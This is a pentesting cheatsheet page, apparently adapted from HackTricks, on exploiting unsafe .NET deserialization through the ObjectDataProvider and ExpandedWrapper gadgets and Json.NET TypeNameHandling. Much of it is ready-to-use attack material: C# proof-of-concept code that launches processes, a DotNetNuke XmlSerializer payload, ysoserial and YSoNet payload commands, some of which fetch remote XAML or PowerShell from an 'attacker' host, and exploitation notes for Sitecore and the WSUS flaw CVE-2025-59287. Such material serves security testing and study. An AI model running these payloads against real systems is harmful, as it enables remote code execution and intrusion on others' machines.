daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

basic-net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json-net.md (22773B)


      1 ---
      2 title: "Basic .NET Deserialization (ObjectDataProvider, ExpandedWrapper, and Json.NET)"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Basic .NET Deserialization (ObjectDataProvider, ExpandedWrapper, and Json.NET)
     14 
     15 This page explains **how the `ObjectDataProvider` gadget can be exploited** to obtain RCE and **how `Json.NET` and `XmlSerializer` can be abused** with that gadget.
     16 
     17 ## ObjectDataProvider Gadget
     18 
     19 The documentation describes `ObjectDataProvider` as a wrapper that creates an object suitable for use as a binding source.<sup>[[11]](#references)</sup> Its security-relevant behavior is that it can **wrap an arbitrary object**, use _**MethodParameters**_ to **set parameters**, and use **MethodName** to invoke a method on that object. If a serializer reconstructs these properties, setting them can cause the wrapped **object** to **execute a method with attacker-controlled parameters during deserialization**.
     20 
     21 ### **How is this possible**
     22 
     23 The **System.Windows.Data** namespace, found within the **PresentationFramework.dll** at `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, is where the ObjectDataProvider is defined and implemented.
     24 
     25 Using [**dnSpy**](https://github.com/0xd4d/dnSpy) you can **inspect the code** of the class we are interested in. In the image below we are seeing the code of **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
     26 
     27 ![ObjectDataProvider Gadget - How is this possible: Using dnSpy you can inspect the code of the class we are interested in. In the image below we are seeing the code of...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28427%29.png)
     28 
     29 When `MethodName` is set, `base.Refresh()` is called. The following image shows that path:
     30 
     31 ![ObjectDataProvider Gadget - How is this possible: As you can observe when MethodName is set base.Refresh() is called, lets take a look to what does it do](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28319%29.png)
     32 
     33 Next, `this.BeginQuery()` runs. `ObjectDataProvider` overrides `BeginQuery` as shown below:
     34 
     35 ![ObjectDataProvider Gadget - How is this possible: Ok, lets continue seeing what does this.BeginQuery() does. BeginQuery is overridden by ObjectDataProvider and this is what it does](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28345%29.png)
     36 
     37 At the end of the code, it calls `this.QueryWorker(null)`. The next image shows the relevant execution path:
     38 
     39 ![ObjectDataProvider Gadget - How is this possible: Note that at the end of the code it's calling this.QueryWorke(null). Let's see what does that execute](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28596%29.png)
     40 
     41 This is not the complete `QueryWorker` function, but it shows the important part: **`this.InvokeMethodOnInstance(out ex);`**, where the configured method is invoked.
     42 
     43 The following code demonstrates that setting _**MethodName**_ triggers execution:
     44 
     45 <details>
     46 <summary>C# demo: ObjectDataProvider triggers Process.Start</summary>
     47 
     48 ```csharp
     49 using System.Windows.Data;
     50 using System.Diagnostics;
     51 
     52 namespace ODPCustomSerialExample
     53 {
     54     class Program
     55     {
     56         static void Main(string[] args)
     57         {
     58             ObjectDataProvider myODP = new ObjectDataProvider();
     59             myODP.ObjectType = typeof(Process);
     60             myODP.MethodParameters.Add("cmd.exe");
     61             myODP.MethodParameters.Add("/c calc.exe");
     62             myODP.MethodName = "Start";
     63         }
     64     }
     65 }
     66 ```
     67 
     68 </details>
     69 
     70 Add _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ as a project reference to load `System.Windows.Data`.
     71 
     72 ## ExpandedWrapper
     73 
     74 In some vulnerable paths, the **object** is deserialized as an _**ObjectDataProvider**_ instance. In the historical DotNetNuke case, for example, `XmlSerializer` deserialized an attacker-selected type resolved with `GetType`. The serializer otherwise has **no knowledge of the type wrapped** by the _ObjectDataProvider_ instance, such as `Process`.<sup>[[9]](#references)</sup><sup>[[10]](#references)</sup>
     75 
     76 `ExpandedWrapper` lets code **specify the types of objects encapsulated** in an instance.<sup>[[12]](#references)</sup> It can therefore encapsulate a source object (`ObjectDataProvider`) in a new object type while exposing the required properties (`ObjectDataProvider.MethodName` and `ObjectDataProvider.MethodParameters`). In the scenario above, an **`ExpandedWrapper` containing `ObjectDataProvider`** causes deserialization to construct the `ObjectDataProvider` and execute the method indicated by _**MethodName**_.
     77 
     78 You can check this wrapper with the following code:
     79 
     80 <details>
     81 <summary>C# demo: ExpandedWrapper encapsulating ObjectDataProvider</summary>
     82 
     83 ```csharp
     84 using System.Windows.Data;
     85 using System.Diagnostics;
     86 using System.Data.Services.Internal;
     87 
     88 namespace ODPCustomSerialExample
     89 {
     90     class Program
     91     {
     92         static void Main(string[] args)
     93         {
     94             ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
     95             myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
     96             myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
     97             myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
     98             myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
     99             myExpWrap.ProjectedProperty0.MethodName = "Start";
    100         }
    101     }
    102 }
    103 ```
    104 
    105 </details>
    106 
    107 ### XmlSerializer + ExpandedWrapper in real targets
    108 
    109 A very common vulnerable pattern is something like:
    110 
    111 ```csharp
    112 Type t = Type.GetType(attackerControlledType);
    113 XmlSerializer xs = new XmlSerializer(t);
    114 object obj = xs.Deserialize(reader);
    115 ```
    116 
    117 If the attacker controls both the **type name** and the **XML body**, `ExpandedWrapper<..., ObjectDataProvider>` can make `XmlSerializer` materialise an `ObjectDataProvider` in `ProjectedProperty0`. This is why **ExpandedWrapper** keeps showing up in real-world .NET deserialization bugs: the vulnerable code does **not** need to deserialize `Process` or `ObjectDataProvider` directly, it only needs to let the attacker pick a root type that `XmlSerializer` can instantiate.
    118 
    119 A practical example is the historical **DotNetNuke `DNNPersonalization`** cookie bug, where attacker-controlled XML was deserialized after resolving the type with `Type.GetType(...)`.<sup>[[9]](#references)</sup> A minimal payload shape looks like:
    120 
    121 ```xml
    122 <profile>
    123   <item key="name1:key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    124     <ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    125       <ExpandedElement/>
    126       <ProjectedProperty0>
    127         <MethodName>WriteFile</MethodName>
    128         <MethodParameters><anyType xsi:type="xsd:string">C:/windows/win.ini</anyType></MethodParameters>
    129         <ObjectInstance xsi:type="FileSystemUtils"/>
    130       </ProjectedProperty0>
    131     </ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
    132   </item>
    133 </profile>
    134 ```
    135 
    136 This is the same primitive described in the first half of this page: `XmlSerializer` reconstructs the `ExpandedWrapper`, that wrapper reconstructs `ObjectDataProvider`, and setting `MethodName` / `MethodParameters` gives the attacker a controllable method invocation.
    137 
    138 ## Json.Net
    139 
    140 Json.NET can serialize and deserialize .NET objects.<sup>[[13]](#references)</sup> If a vulnerable configuration accepts attacker-controlled type metadata and materializes the `ObjectDataProvider` gadget, deserialization can therefore lead to **RCE**.
    141 
    142 ### Json.Net example
    143 
    144 The following example shows how to **serialize and deserialize** an object with this library:
    145 
    146 <details>
    147 <summary>C# demo: Json.NET serialize/deserialize</summary>
    148 
    149 ```csharp
    150 using System;
    151 using Newtonsoft.Json;
    152 using System.Diagnostics;
    153 using System.Collections.Generic;
    154 
    155 namespace DeserializationTests
    156 {
    157     public class Account
    158     {
    159         public string Email { get; set; }
    160         public bool Active { get; set; }
    161         public DateTime CreatedDate { get; set; }
    162         public IList<string> Roles { get; set; }
    163     }
    164     class Program
    165     {
    166         static void Main(string[] args)
    167         {
    168             Account account = new Account
    169             {
    170                 Email = "james@example.com",
    171                 Active = true,
    172                 CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
    173                 Roles = new List<string>
    174                 {
    175                     "User",
    176                     "Admin"
    177                 }
    178             };
    179             //Serialize the object and print it
    180             string json = JsonConvert.SerializeObject(account);
    181             Console.WriteLine(json);
    182             //{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
    183 
    184             //Deserialize it
    185             Account desaccount = JsonConvert.DeserializeObject<Account>(json);
    186             Console.WriteLine(desaccount.Email);
    187         }
    188     }
    189 }
    190 ```
    191 
    192 </details>
    193 
    194 ### Abusing Json.Net
    195 
    196 Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) I created the exploit:<sup>[[2]](#references)</sup>
    197 
    198 ```text
    199 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
    200 {
    201     '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    202     'MethodName':'Start',
    203     'MethodParameters':{
    204         '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
    205         '$values':['cmd', '/c calc.exe']
    206     },
    207     'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
    208 }
    209 ```
    210 
    211 The following code can be used to **test the exploit**; successful execution launches Calculator:
    212 
    213 <details>
    214 <summary>C# demo: Json.NET ObjectDataProvider exploitation PoC</summary>
    215 
    216 ```csharp
    217 using System;
    218 using System.Text;
    219 using Newtonsoft.Json;
    220 
    221 namespace DeserializationTests
    222 {
    223     class Program
    224     {
    225         static void Main(string[] args)
    226         {
    227             //Declare exploit
    228             string userdata = @"{
    229                 '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    230                 'MethodName':'Start',
    231                 'MethodParameters':{
    232                             '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
    233                     '$values':['cmd', '/c calc.exe']
    234                 },
    235                 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
    236             }";
    237             //Exploit to base64
    238             string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
    239 
    240             //Get data from base64
    241             byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
    242             //Deserialize data
    243             string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
    244             object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
    245             {
    246                 TypeNameHandling = TypeNameHandling.Auto
    247             });
    248         }
    249     }
    250 }
    251 ```
    252 
    253 </details>
    254 
    255 ### Json.NET exploitation prerequisites
    256 
    257 Before assuming that `$type` is enough for RCE, quickly verify these conditions:<sup>[[8]](#references)</sup>
    258 
    259 - The application must deserialize **attacker-controlled JSON** with `TypeNameHandling` different from `None` (`Auto`, `Objects`, or `All` are the usual dangerous values).
    260 - If the target uses a restrictive `SerializationBinder` / `ISerializationBinder`, arbitrary gadget resolution may be blocked even when `TypeNameHandling` is enabled.
    261 - `ObjectDataProvider` is a **WPF gadget** from `PresentationFramework.dll`, so it is much more common in **Windows / .NET Framework / desktop-enabled** targets than in minimal ASP.NET Core deployments.
    262 - If the sink deserializes into a fixed DTO and never honours attacker-controlled type metadata, switch to another gadget or another formatter instead of forcing `ObjectDataProvider`.
    263 
    264 ## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
    265 
    266 The ObjectDataProvider + ExpandedWrapper technique introduced above is only one of MANY gadget chains that can be abused when an application performs **unsafe .NET deserialization**.  Modern red-team tooling such as **[YSoNet](https://github.com/irsdl/ysonet)** (and the older [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automate the creation of **ready-to-use malicious object graphs** for dozens of gadgets and serialization formats.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup><sup>[[3]](#references)</sup>
    267 
    268 Below is a condensed reference of the most useful chains shipped with *YSoNet* together with a quick explanation of how they work and example commands to generate the payloads.
    269 
    270 | Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
    271 |--------------|----------------------|--------------------|------------------|
    272 | **TypeConfuseDelegate** | Corrupts the `DelegateSerializationHolder` record so that, once materialised, the delegate points to *any* attacker supplied method (e.g. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
    273 | **ActivitySurrogateSelector** | Abuses `System.Workflow.ComponentModel.ActivitySurrogateSelector` to *bypass .NET ≥4.8 type-filtering* and directly invoke the **constructor** of a provided class or **compile** a C# file on the fly | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
    274 | **DataSetOldBehaviour** | Leverages the **legacy XML** representation of `System.Data.DataSet` to instantiate arbitrary types by filling the `<ColumnMapping>` / `<DataType>` fields (optionally faking the assembly with `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
    275 | **GetterCompilerResults** | On WPF-enabled runtimes (> .NET 5) chains property getters until reaching `System.CodeDom.Compiler.CompilerResults`, then *loads* a DLL supplied with `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c "C:\Temp\loader.dll" > payload.json` |
    276 | **BaseActivationFactory** | Newer Json.NET chain for **.NET 5/6/7 with WPF enabled** that reaches `WinRT.BaseActivationFactory` and causes local/UNC native DLL loading | `Json.NET` | `ysonet.exe -g BaseActivationFactory -f Json.NET -c "C:\Temp\poc.dll" > payload.json` |
    277 | **ObjectDataProvider** (review) | Uses WPF `System.Windows.Data.ObjectDataProvider` to call an arbitrary static method with controlled arguments.  YSoNet adds a convenient `--xamlurl` variant to host the malicious XAML remotely | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
    278 | **PSObject (CVE-2017-8565)** | Embeds `ScriptBlock` into `System.Management.Automation.PSObject` that executes when PowerShell deserialises the object | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
    279 
    280 > [!TIP]
    281 > All payloads are **written to *stdout*** by default, making it trivial to pipe them into other tooling (e.g. ViewState generators, base64 encoders, HTTP clients).
    282 
    283 For this specific page, the important takeaway is that **YSoNet's `ObjectDataProvider` generator is not limited to Json.NET**. It currently supports several other interesting sinks, including **`XmlSerializer (2)`**, **`JavaScriptSerializer`**, **`Xaml (4)`**, and **`DataContractSerializer (2)`**, so the same gadget is reusable even when `$type` injection is not happening through JSON.<sup>[[1]](#references)</sup>
    284 
    285 ### Building / Installing YSoNet
    286 
    287 If no pre-compiled binaries are available under *Actions ➜ Artifacts* / *Releases*, the following **PowerShell** one-liner will set up a build environment, clone the repository and compile everything in *Release* mode:
    288 
    289 ```powershell
    290 Set-ExecutionPolicy Bypass -Scope Process -Force;
    291 [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
    292 iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
    293 choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
    294 
    295 git clone https://github.com/irsdl/ysonet
    296 cd ysonet
    297 nuget restore ysonet.sln
    298 msbuild ysonet.sln -p:Configuration=Release
    299 ```
    300 
    301 The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
    302 
    303 ## Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter
    304 
    305 A practical .NET sink reachable in authenticated Sitecore XP Content Editor flows:<sup>[[4]](#references)</sup>
    306 
    307 - Sink API: `Sitecore.Convert.Base64ToObject(string)` wraps `new BinaryFormatter().Deserialize(...)`.
    308 - Trigger path: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, which searches for a sibling element with `id="{iframeId}_inner"` and reads a `value` attribute that is treated as base64‐encoded serialized data. The result is cast to string and inserted into the HTML.
    309 
    310 <details>
    311 <summary>Authenticated Sitecore sink trigger HTTP flow</summary>
    312 
    313 ```text
    314 // Load HTML into EditHtml session
    315 POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
    316 Content-Type: application/x-www-form-urlencoded
    317 
    318 __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
    319 <html>
    320   <iframe id="test" src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/poc"></iframe>
    321   <dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
    322 </html>
    323 
    324 // Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
    325 GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
    326 ```
    327 
    328 </details>
    329 
    330 - Gadget: any BinaryFormatter chain returning a string (side‑effects run during deserialization). See YSoNet/ysoserial.net to generate payloads.
    331 
    332 For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:
    333 
    334 [Readme](/hacktricks/network-services-pentesting/pentesting-web/sitecore/overview)
    335 
    336 ## Case study: WSUS unsafe .NET deserialization (CVE-2025-59287)
    337 
    338 - Product/role: Windows Server Update Services (WSUS) role on Windows Server 2012 → 2025.
    339 - Attack surface: IIS-hosted WSUS endpoints over HTTP/HTTPS on TCP 8530/8531 (often exposed internally; Internet exposure is high risk).
    340 - Root cause: Unauthenticated deserialization of attacker-controlled data using legacy formatters:
    341   - `GetCookie()` endpoint deserializes an `AuthorizationCookie` with `BinaryFormatter`.
    342   - `ReportingWebService` performs unsafe deserialization via `SoapFormatter`.
    343 - Impact: A crafted serialized object triggers a gadget chain during deserialization, leading to arbitrary code execution as `NT AUTHORITY\SYSTEM` under either the WSUS service (`wsusservice.exe`) or the IIS app pool `wsuspool` (`w3wp.exe`).<sup>[[5]](#references)</sup><sup>[[6]](#references)</sup><sup>[[7]](#references)</sup>
    344 
    345 Practical exploitation notes
    346 - Discovery: Scan for WSUS on TCP 8530/8531. Treat any pre-auth serialized blob reaching WSUS web methods as a potential sink for `BinaryFormatter`/`SoapFormatter` payloads.
    347 - Payloads: Use YSoNet/ysoserial.net to generate `BinaryFormatter` or `SoapFormatter` chains (e.g., `TypeConfuseDelegate`, `ActivitySurrogateSelector`, `ObjectDataProvider`).
    348 - Expected process lineage on success:
    349   - `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe`
    350   - `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe`
    351 
    352 ## References
    353 
    354 - [1] [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
    355 - [2] [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
    356 - [3] [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
    357 - [4] [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
    358 - [5] [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/)
    359 - [6] [MSRC – CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287)
    360 - [7] [NVD – CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287)
    361 - [8] [Json.NET – Serialization Settings (`TypeNameHandling` and `SerializationBinder` warning)](https://www.newtonsoft.com/json/help/html/serializationsettings.htm)
    362 - [9] [nefariousplan – CVE-2017-9822: The Patch Encrypted the Cookie. The Deserializer Is Still Public.](https://nefariousplan.com/posts/dotnetnuke-cve-2017-9822-deserializer-still-public)
    363 - [10] [Seebug Paper – DotNetNuke Cookie Deserialization Vulnerability (archived)](https://web.archive.org/web/20230930203151id_/https://paper.seebug.org/365/)
    364 - [11] [Microsoft Learn – ObjectDataProvider Class](https://learn.microsoft.com/en-us/dotnet/api/system.windows.data.objectdataprovider)
    365 - [12] [Microsoft Learn – ExpandedWrapper<TExpandedElement,TProperty0> Class](https://learn.microsoft.com/en-us/dotnet/api/system.data.services.internal.expandedwrapper-2)
    366 - [13] [Json.NET – JSON Framework for .NET](https://www.newtonsoft.com/json)